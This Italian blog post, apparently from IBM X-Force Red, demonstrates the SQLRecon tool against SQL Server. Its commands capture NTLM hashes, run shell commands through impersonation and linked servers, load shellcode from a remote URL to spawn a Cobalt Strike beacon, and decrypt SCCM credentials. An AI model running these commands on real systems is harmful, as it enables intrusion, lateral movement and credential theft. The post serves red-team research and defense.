Nel corso della mia carriera, ho avuto l'opportunità privilegiata di sbirciare dietro il velo di alcune delle più grandi organizzazioni al mondo. Nella mia esperienza, la maggior parte dei settori verticali si affida alle reti aziendali Windows. In effetti, posso contare sulle dita di una mano le volte in cui ho visto una rete zero-trust decentralizzata, Linux aziendale, una rete macOS o un'alternativa ad Active Directory (FreeIPA).
Mentre mi oriento tra queste grandi e spesso complesse reti aziendali, è comune scoprire i Microsoft SQL Server, che sono stati tipicamente distribuiti per supportare una funzione aziendale. Per i lettori che non conoscono SQL Server, in sintesi, si tratta di un software di database relazionale solitamente installato sopra un server Windows. Lo scopo principale di SQL Server è memorizzare e fornire dati ad applicazioni o utenti.
Questo post sul blog esaminerà la superficie di attacco presentata da SQL Server e come sfruttare le configurazioni errate e le vulnerabilità utilizzando lo strumento di X-Force Red
Le vulnerabilità e le configurazioni errate in SQL Server sono state ben documentate. Sebbene queste debolezze siano apparentemente sempre esistite, in qualche modo il rafforzamento di SQL Server continua a essere spesso trascurato dai team difensivi. Mi riferisco principalmente al rafforzamento della configurazione sottostante e alla prevenzione di accessi banali al servizio.
Una plausibile spiegazione per questa mancanza è che ci siano rischi più gravi a cui un'organizzazione deve dare priorità e occuparsi. Di conseguenza, il rafforzamento di SQL Server viene messo in secondo piano, poiché la modifica delle configurazioni dei database di produzione può causare problemi di disponibilità, che potrebbero tradursi in problemi operativi e influenzare in ultima analisi la produttività aziendale.
Newsletter di settore
Resta al passo con le tendenze più importanti e interessanti del settore relative ad AI, automazione, dati e oltre con la newsletter Think. Leggi l' Informativa sulla privacy IBM.
L'abbonamento sarà fornito in lingua inglese. Troverai un link per annullare l'iscrizione in tutte le newsletter. Puoi gestire i tuoi abbonamenti o annullarli qui. Per ulteriori informazioni, consulta l'Informativa sulla privacy IBM.
Una delle configurazioni errate più comuni che continuo a riscontrare nelle reti aziendali è la possibilità per qualsiasi oggetto autenticato del dominio di connettersi al servizio SQL come account con privilegi bassi. Questo richiede solo un contesto di dominio valido. In altre parole, un token valido per un utente di dominio o un account computer di dominio.
Per fare un esempio, se la workstation di un utente business viene compromessa ed esiste un percorso di rete verso un SQL Server non configurato correttamente, un avversario potrebbe:
Questi sono solo alcuni esempi di ciò che un avversario può ottenere valutando un SQL Server non configurato correttamente in un contesto di dominio. La superficie di attacco presentata da SQL Server dipenderà sempre dall'ambiente e dalla configurazione che si sta affrontando.
Negli ultimi tempi, gli operatori dei red team sono stati fortunati grazie alla varietà di abusi di Active Directory che possono essere sfruttati per elevare i privilegi nelle reti Microsoft aziendali. Tuttavia, man mano che i team difensivi iniziano a gestire la mitigazione di queste vulnerabilità, è naturale che le vie per l'escalation dei privilegi tramite abusi di Active Directory tendano a ridursi.
Tuttavia, continuiamo a procedere lungo la proverbiale lista di attacchi, cercando con ottimismo percorsi di escalation che ci aiutino a raggiungere i nostri obiettivi. Ammetto con un po' di riluttanza che, anche nel mio caso, per molto tempo l'attacco a SQL Server è stato piuttosto in fondo alla mia lista. Ho preferito invece dare priorità a spazi di storage condivisi, applicazioni web interne, strumenti DevOps o infrastrutture cloud. Probabilmente capisci dove voglio arrivare…
A un certo punto del 2022, ero impegnato in un incarico e avevo raggiunto un punto morto dopo aver esaurito tutte le vie di escalation preferite. Questo era dovuto soprattutto a un ambiente eccezionalmente ben protetto. O almeno, così pensavo, prima di scoprire una grande farm di SQL Server, dove doveva per forza esserci una configurazione errata o una vulnerabilità.
Ignaro di tutto all'epoca, e solo dopo aver scritto questo post sul blog, ho scoperto che Kaspersky aveva rilevato un aumento del 56% degli attacchi ricorrenti che utilizzano SQL Server nel 2022. Si tratta di una cifra impressionante.
In qualità di operatore del red team, interagisco spesso con i sistemi che ho compromesso nelle reti dei nostri clienti utilizzando un framework di comando e controllo (C2). I clienti con cui abbiamo la fortuna di lavorare di solito dispongono di programmi di sicurezza informatica maturi, team difensivi capaci e controlli di sicurezza moderni, come soluzioni di rilevamento e risposta degli endpoint (EDR).
Nel corso degli anni sono stati sviluppati diversi strumenti per attaccare SQL Server. Quello che finivo sempre per raggiungere durante i miei giorni di test di penetrazione era
Le soluzioni di rilevamento e risposta degli endpoint (EDR) possono essere un avversario formidabile da affrontare, poiché fanno un lavoro fantastico nel rilevare strumenti open source dannosi progettati per la sicurezza offensiva, specialmente quelli che si affidano a PowerShell. Non sto sminuendo gli strumenti post-sfruttamento su PowerShell, che hanno un loro scopo, ma non erano adatti al problema che avevo nell’ambiente in cui lavoravo.
Il problema che stavo affrontando durante il mio incarico era che dovevo trovare un modo per connettermi ai Microsoft SQL Server e iniziare a interrogarli per determinare se ci fossero delle configurazioni errate o delle vulnerabilità. Tuttavia, utilizzare uno qualsiasi degli strumenti di post-sfruttamento di SQL Server esistenti, basati su PowerShell, sarebbe stato un modo sicuro per farsi scoprire dal team difensivo. Questo per una serie di motivi, che non approfondirò in dettaglio, ma PowerShell non è un ambiente ideale per condurre attacchi post-sfruttamento a causa di funzionalità di sicurezza come AMSI, la modalità linguaggio vincolato e diversi tipi di registrazione. La situazione è ulteriormente aggravata quando sono in atto una soluzione EDR e altri controlli di registrazione e monitoraggio.
Come alternativa, gli operatori del red team spesso scelgono C# come linguaggio per sviluppare strumenti post-sfruttamento, poiché offre un modo semplice per interfacciarsi con il framework insieme alle API di Windows.
Non sono affatto uno sviluppatore C# o .NET, ma so quanto basta per scrivere strumenti che risolvono un problema che mi trovo ad affrontare. Da qui nasce , un toolkit SQL in C# progettato per la ricognizione offensiva e il post-sfruttamento.
Fornitori di autenticazione
Moduli di enumerazione
Esecuzione del comando, movimento laterale ed escalation dei privilegi
Sicurezza operativa
Altro
Per informazioni dettagliate sull'uso di ciascuna tecnica, consulta la wiki.
Per preparare il terreno alle prossime dimostrazioni, opererò su una workstation Windows 10 compromessa che appartiene a Jeff Smith
La workstation di Jeff ha un percorso di rete verso tre SQL Server, ognuno dei quali esegue versioni diverse; 2016, 2019 e 2022.
È stato configurato un collegamento SQL tra
Inoltre, esiste un collegamento Active Directory Services (ADSI) tra
Infine, il dominio
Figura 1: Configurazione di rete
Inoltre, userò Cobalt Strike, un popolare framework di comando e controllo, per eseguire attività post-sfruttamento dalla workstation compromessa di Jeff
Figura 2: Esecuzione del comando whoami
Al momento della stesura,SQLRecon c'è un SPN impostato per un paio di account diversi, come dimostra la schermata qui sotto.
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
Figura 3: Scoprire SQL Server tramite la raccolta di SPN
Il wrapper
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
Figura 4: Ottenere informazioni su SQL02
Un saluto a Daniel Duggan(@_RastaMouse) per il suo contributo ai moduli di enumerazione in
I moduli standard vengono eseguiti contro un'unica istanza di SQL Server.
Nel seguente esempio, uso il provider di autenticazione
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
Figura 5: Enumerazione dei privilegi SQL per
Per impostazione predefinita,
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
Figura 6: Enumerazione dei database su
È possibile connettersi ad altri database specificando il nome del database con il flag /
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
Figura 7: Ottenere dei dati di carte fittizie dalla tabella
Passando ad alcuni moduli più interessanti,
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
Figura 8: Injection del percorso UNC
Nella schermata seguente, possiamo vedere il collegamento creato da
Figura 9: Ottenere l'hash NetNTLMv2 per
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
Figura 10: Dimostrazione del guardrail che impedisce l'esecuzione dei comandi
Come si vede nell'immagine qui sopra, si incontra un ostacolo di esecuzione e si riceve un messaggio di errore che indica che
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
Figura 11: Dimostrazione di un altro guardrail, in cui privilegi insufficienti impediscono l'esecuzione dei comandi
Come previsto, l'account con privilegi bassi
L'impersonificazione SQL è un'autorizzazione speciale che essenzialmente consente a un utente o a un gruppo di operare con il permesso di un altro utente, oltre che con le proprie autorizzazioni. La schermata seguente è stata tratta dalla configurazione backend di
Figura 12:
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
Come si vede nella schermata qui sotto, l'account utente con privilegi bassi
Figura 13: Enumerazione degli account che possono essere impersonati su
Per dimostrare un altro modulo di esecuzione dei comandi,
I moduli di impersonificazione sono sempre preceduti dalla lettera
a:WinToken /h:SQL02 /i:sa /m:iEnableOle
Figura 14: Abilitazione delle procedure di automazione OLE mediante impersonificazione
Ora che le procedure di automazione OLE sono abilitate su
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
Figura 15: Utilizzo di PowerShell per elencare una directory su un host remoto
Come mostrato nella schermata sopra, vengono generati casualmente un oggetto OLE e un metodo, il comando dannoso viene quindi eseguito e gli oggetti OLE vengono distrutti. Questo è intenzionale perché non vogliamo lasciare tracce delle nostre azioni.
Nella schermata seguente, possiamo vedere la connessione creata dall'account utente
Figura 16: Ottenere l'hash NetNTLMv2 per
L'esempio seguente dimostra l'utilizzo dell'impersonificazione per eseguire il comando
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
Figura 17: Abilitazione di
È sempre buona prassi riportare le configurazioni allo stato in cui si trovavano originariamente.
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
Figura 18: Disabilitazione delle procedure di automazione OLE e
Figura 19:
La configurazione di un collegamento da un'istanza di SQL Server a un'altra richiede spesso una serie di credenziali privilegiate per stabilire e vincolare il collegamento. Questo è vantaggioso per gli avversari poiché consente di eseguire comandi sull'SQL Server collegato nel contesto dell'account che ha stabilito la connessione. Un altro punto da considerare è che i server collegati possono essere segmentati dalla rete su cui opera un avversario. Questo potrebbe rappresentare l'opportunità di attraversare i confini di segmentazione ed entrare in una zona di rete con requisiti di sicurezza più elevati.
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
Figura 20: Enumerazione degli SQL Server collegati su
I moduli collegati sono sempre preceduti dalla lettera
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
Figura 21: Enumerazione dei privilegi SQL che possiamo assumere su
Come mostrato nella schermata sopra, stiamo operando nel contesto dell'account
Tutti i moduli di esecuzione in
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
Figura 22: Abilitazione dell'integrazione CLR su
L'integrazione CLR consente di importare assembly .NET personalizzati in SQL Server. Questi assembly vengono memorizzati all'interno di una procedura memorizzata prima di essere eseguiti. Si tratta di una primitiva molto utile per movimenti laterali.
Nella schermata seguente, creo un assembly .NET personalizzato compatibile con SQL Server CLR di nome
Figura 23:
Se vuoi saperne di più sugli assembly .NET personalizzati compatibili con SQL Server CLR, visita la sezione Clr della wiki
Nella seguente dimostrazione ho caricato
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
Figura 24: Ottenere un beacon di Cobalt Strike nel contesto di
Ovviamente, l'esempio precedente richiede che
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
Figura 25: Ottenere un beacon di Cobalt Strike nel contesto di
Figura 26:
La configurazione di un collegamento ADSI da un'istanza di SQL Server a un controller di dominio Active Directory non richiede necessariamente credenziali privilegiate. Tuttavia, durante operazioni reali, ho visto casi in cui il principio del minimo privilegio non è stato applicato.
Nel seguente esempio, uso il provider di autenticazione
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
Figura 27: Enumerazione dei collegamenti su
Ora che abbiamo verificato che esiste un collegamento ADSI su
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
Figura 28: Attacco di raccolta credenziali ADSI a doppio collegamento
Una delle più grandi estensioni di
Da questo momento in poi mi riferirò semplicemente a ECM e SCCM come SCCM.
Nel seguente esempio, utilizzo il modulo databases per enumerare i
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
Figura 29: Enumerazione dei database su
Come si vede nella schermata qui sopra, il database
I moduli SCCM sono sempre preceduti dalla lettera
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 30: Enumerazione di tutti gli utenti che possono accedere a SCCM tramite il database SQL Server di SCCM
È anche possibile enumerare le attività configurate in SCCM utilizzando il modulo
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
Figura 31: Enumerazione delle attività configurate in SCCM tramite il database SQL Server di SCCM
SCCM di solito deve memorizzare in modo sicuro le credenziali, che vengono usate per autenticarsi a sistemi o risorse nell'ambiente per distribuire pacchetti software o svolgere altre azioni offerte da SCCM. Usando il modulo
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
Figura 32: Ottenere credenziali memorizzate tramite il database SQL Server di SCCM
Nella schermata qui sopra, vediamo che una credenziale è stata memorizzata in modo sicuro, ed è la credenziale per l'account
Utilizzando la logica di Adam Chester (@_xpn_) è possibile decifrare le credenziali memorizzate in SCCM e ottenere la password in chiaro per gli account memorizzati. Questo richiede però i privilegi di amministratore locale sul server SCCM. Nella seguente schermata, utilizzo l'account
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
Figura 33: Decifrazione delle credenziali memorizzate in SCCM
Per impedire ai criminali di abusare di SQL Server, chi si difende dagli attacchi può adottare un approccio stratificato nell'implementazione dei controlli di sicurezza. Innanzitutto, consiglio vivamente di leggere la guida ufficiale di Microsoft sulle best practice per la sicurezza di SQL Server.
La prossima tappa dovrebbe essere la sezione su prevenzione, rilevamento e mitigazione nella documentazione di
I seguenti controlli di sicurezza dovrebbero essere presi in considerazione per l'implementazione a livello di rete.
Workstation e server nell'ambiente.
Gli attacchi contro SQL Server continuano a essere rilevanti nel landscape attuale della cybersecurity. Gli avversari stanno costantemente evolvendo le loro tecniche per eludere i controlli difensivi e, così facendo, utilizzano sempre più i servizi ausiliari, come SQL Server. Questi attacchi sono diventati più sofisticati e furtivi, spesso impiegando tecniche meno comuni per aggirare le misure di sicurezza tradizionali.
Abusando di SQL Server, gli avversari possono ottenere un accesso non autorizzato ai dati sensibili, manipolare i database e persino compromettere interi sistemi. Le conseguenze di tali attacchi possono essere gravi, con conseguenti violazioni dei dati, perdite finanziarie e danni alla reputazione di un'organizzazione.
Per mitigare il rischio di questi attacchi, è fondamentale che le organizzazioni rivedano le configurazioni di SQL Server e adottino le best practice di sicurezza. Inoltre, le organizzazioni dovrebbero investire in soluzioni di sicurezza che offrano funzionalità di monitoraggio in tempo reale, rilevamento di anomalie e analisi comportamentale. Queste soluzioni possono aiutare a rilevare e a rispondere agli attacchi in modo più efficace, riducendo al minimo l'impatto potenziale su dati e sistemi critici. Adottando misure proattive per proteggere gli ambienti SQL Server, le organizzazioni possono ridurre significativamente il rischio di cadere vittime di questi attacchi e proteggere i loro asset.
Puoi sempre trovare l'ultima versione stabile di
Se parteciperai a Black Hat Las Vegas e vuoi saperne di più, puoi assistere alla mia sessione: Abusing Microsoft SQL Server with SQLRecon giovedì 10 agosto alle 13:00 PT.